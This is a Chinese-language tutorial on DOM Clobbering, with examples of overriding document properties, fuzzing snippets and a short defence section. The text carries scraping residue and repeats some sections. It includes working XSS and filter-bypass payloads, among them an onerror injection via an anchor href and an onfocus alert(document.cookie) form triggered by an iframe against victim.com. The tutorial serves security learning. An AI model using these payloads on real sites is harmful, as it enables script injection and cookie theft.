DOM Clobbering 技术详解<\/h1>

基础概念<\/h2>
DOM Clobbering 是一种通过注入 HTML 代码来操纵 DOM 并最终改变页面上 JavaScript 行为的技术。在无法直接实现 XSS 的情况下，可以考虑使用这种技术。<\/p>

DOM 背景<\/h3>

DOM 最初是在没有任何标准化的情况下实现的，导致了许多特殊行为<\/li>
为了保持兼容性，许多浏览器仍然支持异常的 DOM 行为<\/li>
DOM Level 0 & 1 仅提供了有限的通过 JavaScript 引用元素的方式<\/li>

浏览器有时会向各种 DOM 元素添加 name & id 属性作为对文档或全局对象的属性引用<\/li> <\/ul>

基本示例<\/h2>

示例1：创建对象<\/h3>


<\/span><\/span><script<\/span>>
<\/span><\/span>  alert<\/span>(document.test<\/span>);  \/\/ 显示img元素
<\/span><\/span><\/span><\/span><\/script<\/span>>
<\/span><\/span><\/code><\/pre>通过 id 或 name 属性，可以在 document<\/code> 或 window<\/code> 对象下创建一个对象。<\/p>
示例2：覆盖属性<\/h3>

<\/span><\/span><script<\/span>>
<\/span><\/span>  alert<\/span>(document.cookie<\/span>);  \/\/ 显示img元素而非cookie
<\/span><\/span><\/span><\/span><\/script<\/span>>
<\/span><\/span><\/code><\/pre>可以覆盖 document.cookie<\/code> 这样的属性。<\/p>
示例3：覆盖方法<\/h3>

<\/span><\/span><script<\/span>>
<\/span><\/span>  alert<\/span>(document.body<\/span>.appendChild<\/span>);  \/\/ 显示img元素而非方法
<\/span><\/span><\/span><\/span><\/script<\/span>>
<\/span><\/span><\/code><\/pre>可以覆盖 document.body.appendChild<\/code> 这样的方法。<\/p>
攻击方法<\/h2>
转换为字符串<\/h3>
大多数情况下需要将 HTMLElement 对象转换为可控的字符串类型：<\/p>
Object.getOwnPropertyNames<\/span>(window)
<\/span><\/span>  .filter<\/span>(p<\/span> => p<\/span>.match<\/span>(\/Element$\/<\/span>))
<\/span><\/span>  .map<\/span>(p<\/span> => window[p<\/span>])
<\/span><\/span>  .filter<\/span>(p<\/span> => p<\/span> &&<\/span> p<\/span>.prototype<\/span> &&<\/span> p<\/span>.prototype<\/span>.toString<\/span> !==<\/span> Object.prototype<\/span>.toString<\/span>)
<\/span><\/span><\/code><\/pre>可以得到两种标签对象：<\/p>

HTMLAreaElement<\/code> (<area><\/code>)<\/li>
HTMLAnchorElement<\/code> (<a><\/code>)<\/li>
<\/ul>
这两个标签都可以利用 href<\/code> 属性进行字符串转换。<\/p>
HTMLCollection 使用<\/h3>
构建两层结构：<\/p>
<div<\/span> id<\/span>=<\/span>"x"<\/span>>
<\/span><\/span>  <a<\/span> id<\/span>=<\/span>"x"<\/span> name<\/span>=<\/span>"y"<\/span> href<\/span>=<\/span>"1:hasaki"<\/span>><\/a<\/span>>
<\/span><\/span><\/div<\/span>>
<\/span><\/span><script<\/span>>
<\/span><\/span>  alert<\/span>(x<\/span>.y<\/span>);  \/\/ 显示 "1:hasaki"
<\/span><\/span><\/span><\/span><\/script<\/span>>
<\/span><\/span><\/code><\/pre>通过 HTMLCollection<\/code> 和 name<\/code> 属性可以实现两层引用。<\/p>
HTML 标签关系<\/h3>
通过 Fuzz 测试可以发现以下标签关系可用于构建层级：<\/p>
form->button
form->fieldset
form->image
form->img
form->input
form->object
form->output
form->select
form->textarea
<\/code><\/pre>
示例：<\/p>
<form<\/span> id<\/span>=<\/span>"x"<\/span>><output<\/span> id<\/span>=<\/span>"y"<\/span>>I've been clobbered<\/output<\/span>>
<\/span><\/span><script<\/span>>
<\/span><\/span>  alert<\/span>(x<\/span>.y<\/span>.value<\/span>);  \/\/ 显示 "I've been clobbered"
<\/span><\/span><\/span><\/span><\/script<\/span>>
<\/span><\/span><\/code><\/pre>三层结构<\/h3>
<form<\/span> id<\/span>=<\/span>"x"<\/span> name<\/span>=<\/span>"y"<\/span>><output<\/span> id<\/span>=<\/span>"z"<\/span>>I've been clobbered<\/output<\/span>><\/form<\/span>>
<\/span><\/span><form<\/span> id<\/span>=<\/span>"x"<\/span>><\/form<\/span>>
<\/span><\/span><script<\/span>>
<\/span><\/span>  alert<\/span>(x<\/span>.y<\/span>.z<\/span>.value<\/span>);  \/\/ 显示 "I've been clobbered"
<\/span><\/span><\/span><\/span><\/script<\/span>>
<\/span><\/span><\/code><\/pre>更多层级<\/h3>
使用 iframe<\/code> 与 srcdoc<\/code> 配合构建更多层级：<\/p>
<iframe<\/span> name<\/span>=<\/span>"a"<\/span> srcdoc<\/span>=<\/span>"
<\/span><\/span><\/span>  <iframe srcdoc='<a id=c name=d href=cid:Clobbered>test<\/a><a id=c>' name=b>"<\/span>><\/iframe<\/span>>
<\/span><\/span><script<\/span>>
<\/span><\/span>  setTimeout<\/span>(()=>alert<\/span>(a<\/span>.b<\/span>.c<\/span>.d<\/span>),500<\/span>)  \/\/ 显示 "cid:Clobbered"
<\/span><\/span><\/span><\/span><\/script<\/span>>
<\/span><\/span><\/code><\/pre>自定义属性<\/h3>
大多数自定义属性无法直接利用，但可以 Fuzz 可用的字符串类型属性：<\/p>
var<\/span> html<\/span> =<\/span> [...] \/\/ HTML元素数组
<\/span><\/span><\/span><\/span>var<\/span> props<\/span>=<\/span>[];
<\/span><\/span>for<\/span>(i<\/span>=<\/span>0<\/span>;i<\/span><<\/span>html<\/span>.length<\/span>;i<\/span>++<\/span>){
<\/span><\/span>  obj<\/span> =<\/span> document.createElement<\/span>(html<\/span>[i<\/span>]);
<\/span><\/span>  for<\/span>(prop<\/span> in<\/span> obj<\/span>) {
<\/span><\/span>    if<\/span>(typeof<\/span> obj<\/span>[prop<\/span>] ===<\/span> 'string'<\/span>) {
<\/span><\/span>      try<\/span> {
<\/span><\/span>        DOM<\/span>.innerHTML<\/span> =<\/span> '<'<\/span>+<\/span>html<\/span>[i<\/span>]+<\/span>' id=x '<\/span>+<\/span>prop<\/span>+<\/span>'=1>'<\/span>;
<\/span><\/span>        if<\/span>(document.getElementById<\/span>('x'<\/span>)[prop<\/span>] ==<\/span> 1<\/span>) {
<\/span><\/span>          props<\/span>.push<\/span>(html<\/span>[i<\/span>]+<\/span>':'<\/span>+<\/span>prop<\/span>);
<\/span><\/span>        }
<\/span><\/span>      }catch<\/span>(e<\/span>){}
<\/span><\/span>    }
<\/span><\/span>  }
<\/span><\/span>}
<\/span><\/span>console<\/span>.log<\/span>([...new<\/span> Set<\/span>(props<\/span>)].join<\/span>('\n'<\/span>));
<\/span><\/span><\/code><\/pre>发现 a<\/code> 标签的 username<\/code> 和 password<\/code> 属性可以利用：<\/p>
<a<\/span> id<\/span>=<\/span>"x"<\/span> href<\/span>=<\/span>"ftp:Clobbered-username:Clobbered-Password@a"<\/span>>
<\/span><\/span><script<\/span>>
<\/span><\/span>  alert<\/span>(x<\/span>.username<\/span>)  \/\/ 显示 "Clobbered-username"
<\/span><\/span><\/span><\/span>  alert<\/span>(x<\/span>.password<\/span>)  \/\/ 显示 "Clobbered-password"
<\/span><\/span><\/span><\/span><\/script<\/span>>
<\/span><\/span><\/code><\/pre>实际利用示例<\/h2>
示例1：利用 DOM Clobbering 实现 XSS<\/h3>
<a<\/span> id<\/span>=<\/span>defaultAvatar<\/span>><a<\/span> id<\/span>=<\/span>defaultAvatar<\/span> name<\/span>=<\/span>avatar<\/span> href<\/span>=<\/span>"1:&quot;onerror=alert(1)\/\/"<\/span>>
<\/span><\/span><\/code><\/pre>示例2：绕过 HTML 过滤器<\/h3>
<form<\/span> id<\/span>=<\/span>x<\/span> tabindex<\/span>=<\/span>0<\/span> onfocus<\/span>=<\/span>alert(document.cookie)<\/span>><input<\/span> id<\/span>=<\/span>attributes<\/span>>
<\/span><\/span><\/code><\/pre>使用 iframe 触发：<\/p>
<iframe<\/span> src<\/span>=<\/span>https:\/\/victim.com\/post?postId=3<\/span> onload<\/span>=<\/span>"setTimeout(a=>this.src=this.src+'#x',500)"<\/span>>
<\/span><\/span><\/code><\/pre>防御措施<\/h2>

检查变量预期类型，确保属性是预期的类型而非 HTMLElement<\/li>
代码规范，避免滥用全局变量<\/li>
使用经过测试的库，如 DOMPurify<\/li>
<\/ol>
技术细节<\/h2>
Document 可 Clobber 的属性<\/h3>

通过 id：仅 object<\/code> 标签<\/li>
通过 name：embed<\/code>, form<\/code>, image<\/code>, img<\/code>, object<\/code><\/li>
同时使用 id 和 name：image<\/code>, img<\/code>, object<\/code><\/li>
<\/ul>
Window 可 Clobber 的属性<\/h3>

几乎所有标签都可以通过 id 在 window 对象上创建属性<\/li>
通过 name：embed<\/code>, form<\/code>, image<\/code>, img<\/code>, object<\/code><\/li>
<\/ul>
不可 Clobber 的标签<\/h3>
body, caption, col, colgroup, frame, frameset, head, html, tbody, td, tfoot, th, thead, tr
<\/code><\/pre>

DOM Clobbering 技术详解<\/h1>

基础概念<\/h2> DOM Clobbering 是一种通过注入 HTML 代码来操纵 DOM 并最终改变页面上 JavaScript 行为的技术。在无法直接实现 XSS 的情况下，可以考虑使用这种技术。<\/p>

基本示例<\/h2>

实际利用示例<\/h2>

技术细节<\/h2>

不可 Clobber 的标签<\/h3> body, caption, col, colgroup, frame, frameset, head, html, tbody, td, tfoot, th, thead, tr <\/code><\/pre>

基础概念<\/h2>
DOM Clobbering 是一种通过注入 HTML 代码来操纵 DOM 并最终改变页面上 JavaScript 行为的技术。在无法直接实现 XSS 的情况下，可以考虑使用这种技术。<\/p>

不可 Clobber 的标签<\/h3>
`body, caption, col, colgroup, frame, frameset, head, html, tbody, td, tfoot, th, thead, tr <\/code><\/pre>`